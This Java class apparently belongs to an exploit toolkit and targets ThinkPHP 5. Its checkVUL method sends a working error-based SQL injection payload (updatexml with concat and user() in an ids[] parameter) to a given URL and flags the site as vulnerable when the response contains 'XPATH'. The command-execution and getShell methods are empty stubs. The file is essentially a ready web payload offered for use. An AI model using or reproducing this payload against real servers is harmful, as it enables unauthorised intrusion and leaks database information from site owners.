content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  public class tp5_sql implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "XPATH";
          String payload = url + "/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1";
          try {
              HttpRequest req = HttpRequest.get(payload);
              if (req.body().contains(CheckStr)) {
                  return new Result(true, "ThinkPHP 5 SQL注入漏洞 && 敏感信息泄露", payload);
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, "ThinkPHP 5 SQL注入漏洞 && 敏感信息泄露", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  